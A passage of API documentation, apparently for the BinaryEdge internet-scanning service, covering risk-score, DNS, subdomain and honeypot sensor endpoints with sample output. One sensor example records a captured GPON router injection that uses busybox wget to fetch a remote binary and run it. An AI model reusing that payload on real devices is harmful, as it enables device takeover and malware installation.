          "leaf_certificate": {
            "sha1_fingerprint": "c0e750b485ed9250f93f684bb1a87d37bec843b8",
            "issuer": "Huawei",
            "subject": "Huawei",
            "validity": {
              "date": "2016-07-14 09:48:15",
              "status": "expired",
              "score": 4
            },
            "signature": {
              "signature": "sha1WithRSAEncryption",
              "score": 5
            },
            "self_signed": {
              "self_signed": "single-certificate",
              "score": 5
            }
          },
          "other_certificates": [],
          "ciphers": [
            {
              "drown": true,
              "score": 6
            },
            {
              "poodle": true,
              "score": 6
            },
            {
              "logjam": false,
              "score": 0
            }
          ],
          "score": 52
        }
      ],
      "score": 52
    },
    "wec": {
      "result": [
        {
          "port": 25,
          "service": "smtp",
          "score": 6
        }
      ],
      "score": 6
    },
    "ftp": {
      "result": [
        {
          "port": 21,
          "service": "ftp",
          "score": 6
        }
      ],
      "score": 6
    },
    "http": {
      "result": [
        {
          "port": 4991,
          "service": "http",
          "score": 6
        },
        {
          "port": 8080,
          "service": "http",
          "score": 6
        }
      ],
      "score": 12
    },
    "storage": {
      "result": [
        {
          "port": 6666,
          "product": "postgres",
          "score": 4
        },
        {
          "port": 6666,
          "product": "mysql",
          "score": 4
        },
        {
          "port": 1883,
          "product": "mqtt",
          "connected": true,
          "score": 10
        },
        {
          "port": 27017,
          "product": "mongodb",
          "connected": true,
          "score": 10
        },
        {
          "port": 6379,
          "product": "redis",
          "connected": true,
          "score": 10
        },
        {
          "port": 11211,
          "product": "memcached",
          "connected": true,
          "score": 10
        },
        {
          "port": 9200,
          "product": "elasticsearch",
          "connected": true,
          "score": 10
        },
        {
          "port": 3306,
          "product": "mysql",
          "score": 4
        }
      ],
      "score": 62
    },
    "web": {
      "result": [
        {
          "port": 80,
          "headers": true,
          "score": 3
        }
      ],
      "score": 3
    },
    "torrents": {
      "result": [
        {
          "torrents": false,
          "score": 0
        }
      ],
      "score": 0
    }
  },
  "ip_address": "xxx.xxx.xxx.xxx"
}

Domains

What is exposed via DNS? What subdomains belong to a Domain? What domains are served by IP X?

/v2/query/domains/subdomain/{target}

Return list of subdomains known from the target domains

Parameters

  • target: [String] Domain you want to get list of known subdomains.
  • page: [Int] Optional. Default 1, Maximum: 500 (10,000 results)

Output

curl 'https://api.binaryedge.io/v2/query/domains/subdomain/example.com' -H 'X-Key:API_KEY'
{
  "query": "root:example.com",
  "page": 1,
  "pagesize": 100,
  "total": 6308,
  "events": ["m.example.com", "startup.antichat.example.com", "anandop1.example.com", "vladimirbezz3.example.com"]
}

/v2/query/domains/dns/{target}

Return list of known DNS results for the target domain.

Possible types of records currently available:

  • A
  • AAAA
  • NS
  • MX

Note: Available for paid subscriptions only.

Parameters

  • target: [String] Domain you want to get DNS related data.
  • page: [Int] Optional. Default 1

Output

curl 'https://api.binaryedge.io/v2/query/domains/dns/example.com' -H 'X-Key:API_KEY'
{
  "query": "root:example.com",
  "page": 1,
  "pagesize": 100,
  "total": 6308,
  "events": [{
    "A": ["92.63.97.42"],
    "updated_at": "2018-09-22T04:53:21.082802",
    "domain": "startup.antichat.example.com",
    "root": "example.com"
  }, {
    "A": ["93.184.216.34"],
    "MX": ["example.com"],
    "NS": ["ns1.example.com", "ns2.example.com"],
    "updated_at": "2018-12-10T13:20:16.854174",
    "domain": "example.com",
    "root": "example.com",
  }, {
    "A": ["91.235.136.112"],
    "updated_at": "2018-09-22T04:14:29.031596",
    "domain": "vladimirbezz3.example.com",
    "root": "example.com"
  }, {
    "A": ["93.179.68.6"],
    "updated_at": "2018-09-22T03:51:36.852124",
    "domain": "i.seeva.example.com",
    "root": "example.com"
  }]
}

/v2/query/domains/ip/{target}

Return records that have the specified IP address in their A or AAAA records.

Note: Available for paid subscriptions only.

Parameters

  • target: [IP] IP you want to verify, can be IPV4 or IPV6
  • page: [Int] Optional. Default 1, Maximum: 500 (10,000 results)

Output

curl 'https://api.binaryedge.io/v2/query/domains/ip/8.8.8.8' -H 'X-Key:API_KEY'
{
  "query": "A:\"8.8.8.8\"",
  "page": 1,
  "pagesize": 100,
  "total": 726,
  "events": [{
    "A": ["8.8.8.8"],
    "updated_at": "2018-06-08T20:51:30.676063",
    "NS": ["ns1058.ui-dns.org", "ns1062.ui-dns.com", "ns1068.ui-dns.biz", "ns1096.ui-dns.de"],
    "domain": "aeroway.co.uk",
    "root": "aeroway.co.uk",
    "MX": ["mx00.1and1.co.uk", "mx01.1and1.co.uk"]
  }, {
    "A": ["8.8.8.8"],
    "updated_at": "2018-06-08T20:53:30.348620",
    "NS": ["f1g1ns1.dnspod.net", "f1g1ns2.dnspod.net"],
    "domain": "84168800.com",
    "root": "84168800.com"
  }, {
    "A": ["8.8.8.8"],
    "updated_at": "2018-06-08T20:53:32.450310",
    "NS": ["f1g1ns1.dnspod.net", "f1g1ns2.dnspod.net"],
    "domain": "84169911.com",
    "root": "84169911.com"
  }, {
    "A": ["8.8.8.8"],
    "updated_at": "2018-06-08T20:53:32.508761",
    "NS": ["f1g1ns1.dnspod.net", "f1g1ns2.dnspod.net"],
    "domain": "84163311.com",
    "root": "84163311.com"
  }, {
    "A": ["8.8.8.8"],
    "updated_at": "2018-06-08T20:53:32.540496",
    "NS": ["f1g1ns1.dnspod.net", "f1g1ns2.dnspod.net"],
    "domain": "00888416.com",
    "root": "00888416.com"
  }]
}

/v2/query/domains/search

List of Domains/DNS data based on a Query. Can be used with specific parameters and/or full-text search. Possible types of records currently available:

  • A
  • AAAA
  • NS
  • MX
  • CNAME
  • TXT

Parameters

  • query: [String] String used to query our data. If no filters are used, it will perform a full-text search on the entire events.
  • page: [Int] Optional. Default 1, Maximum: 500 (10,000 results)

Output

curl 'https://api.binaryedge.io/v2/query/domains/search?query=A:127.0.01' -H 'X-Key:API_KEY'
{
  "query": "A:127.0.0.1",
  "page": 1,
  "pagesize": 100,
  "total": 176685,
  "events": [{
    "A": ["127.0.0.1"],
    "updated_at": "2018-06-08T20:32:57.002881",
    "NS": ["ns3jkl.name.com", "ns4qxz.name.com", "ns2knz.name.com", "ns1ksz.name.com"],
    "domain": "heathynurseway.co.uk",
    "root": "heathynurseway.co.uk",
    "MX": ["mail.emailgoodbye.me"]
  }, {
    "A": ["127.0.0.1"],
    "updated_at": "2018-06-08T20:29:19.612334",
    "NS": ["ns1.antagus.de", "ns2.antagus.de"],
    "domain": "vit.press",
    "root": "vit.press",
    "MX": ["mail.vit.press"]
  },
  (...)
  ]
}

Sensors

/v2/query/sensors/ip/{target}

Details about an Scanner. List of recent events form the specified host, including details of scanned ports, payloads and tags.

Note: Querying CIDRs is available for paid subscriptions only. When using CIDR, the number of credits that will be spent correspond to the number of targets that returned results. Example: a request for a /24 (256 targets) in which only 200 targets have results, will decrement 200 credits.

Parameters

  • target: [String] target IP address or CIDR up to /24

Output

curl 'https://api.binaryedge.io/v2/query/sensors/ip/xxx.xxx.xxx.xxx' -H 'X-Key:API_KEY'
{
    "query": "xxx.xxx.xxx.xxx",
    "total": 1,
    "targets_found": 1,
    "events": [{
        "port": 443,
        "results": [{
            "target": {
                "port": 443,
                "protocol": "tcp"
            },
            "origin": {
                "ts": 1549500839739,
                "type": "sinkhole",
                "ip": "xxx.xxx.xxx.xxx",
                "rdns": "xxx.xxx.xxx.example.com"
            },
            "data": {
                "payload": "POST /GponForm/diag_Form?style/ HTTP/1.1\\r\\nUser-Agent: Hello, World\\r\\nAccept: */*\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\n\\r\\nXWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://185.244.25.98/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0",
                "extra": {
                    "http": {
                        "method": "POST",
                        "path": "/GponForm/diag_Form?style/",
                        "version": "1.1",
                        "headers": {
                            "user-agent": "Hello, World",
                            "accept": "*/*",
                            "accept-encoding": "gzip, deflate",
                            "content-type": "application/x-www-form-urlencoded"
                        }
                    }
                },
                "tags": ["HTTP_SCANNER"]
            },
            "@timestamp": "2019-02-07T00:54:00.422Z"
        }]
    }]
}

/v2/query/sensors/search

Events based on a Query. List of recent events for the given query, including details of scanned ports, payloads and tags. Can be used with specific parameters and/or full-text search.

Parameters

  • query: [String] String used to query our data. If no filters are used, it will perform a full-text search on the entire events. See Search Parameters for details on what parameters can be used.
  • page: [Int] Optional. Default 1, Maximum: 500 (10,000 results)

Output

curl 'https://api.binaryedge.io/v2/query/sensors/search?query=tags:ssh_scanner' -H 'X-Key:API_KEY'
{
    "query": "tags:ssh_scanner",
    "page": 1,
    "pagesize": 20,
    "total": 1117979,
    "events": [{
        "data": {
            "payload": "SSH-2.0-PUTTY\\r\\n",
            "extra": {
                "ssh": {
                    "description": "SSH-2.0-PUTTY"
                }
            },
            "tags": ["SSH_SCANNER"]
        },
        "target": {
            "port": 22,
            "protocol": "tcp"
        },
        "origin": {
            "ip": "218.92.1.153",
            "type": "sinkhole",
            "ts": 1549625590653,
            "asn": 4134
        }
    }, {
        "target": {
            "port": 22,
            "protocol": "tcp"
        },
        "data": {
            "payload": "\\x00\\x00\\x02\\x84\\x07\\x14t\\x85\\x97.Sf\\x88\\xa3\\x1a\\x7f\\xf7:ZzG\\\\\\x00\\x00\\x00Ydiffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1\\x00\\x00\\x00\\x0fssh-rsa,ssh-dss\\x00\\x00\\x00\\x92aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,[email protected],aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc\\x00\\x00\\x00\\x92aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,[email protected],aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc\\x00\\x00\\x00Uhmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,[email protected]\\x00\\x00\\x00Uhmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,[email protected]\\x00\\x00\\x00\\x04none\\x00\\x00\\x00\\x04none\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\[email protected]\\x8d71\\xc9&",
            "extra": {
                "ssh": {
                    "hassh": "92674389fa1e47a27ddd8d9b63ecd42b",
                    "hassh_algorithms": "diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,[email protected],aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,[email protected];none"
                }
            },
            "tags": ["SSH_SCANNER"]
        },
        "origin": {
            "ip": "58.242.83.31",
            "type": "sinkhole",
            "ts": 1549625585310,
            "asn": 4837
        }
    },
    {...}
    ]
}

/v2/query/sensors/search/stats

Statistics of events for the given query. Can be used with specific parameters and/or full-text search.

Parameters

  • query: [String] String used to query our data. If no filters are used, it will perform a full-text search on the entire events. See Search Parameters for details on what parameters can be used.
  • type: [String] Type of statistic we want to obtain. Possible types include:
    • ports, tags, countries, asn, ips, payloads, http_path.
  • days: [Integer] Number of days to get the stats for. For example days=1 for the last day of data.
    • Max: 60 (default)

Output

curl 'https://api.binaryedge.io/v2/query/sensors/search/stats?query=tags:ssh_scanner&type=ports&type=ports' -H 'X-Key:API_KEY'
[{
    "key": "22/tcp",
    "doc_count": 1102752
}, {
    "key": "2222/tcp",
    "doc_count": 8149
}, {
    "key": "222/tcp",
    "doc_count": 1970
}, {
    "key": "4000/tcp",
    "doc_count": 1962
}, {
    "key": "23/tcp",
    "doc_count": 1552
}]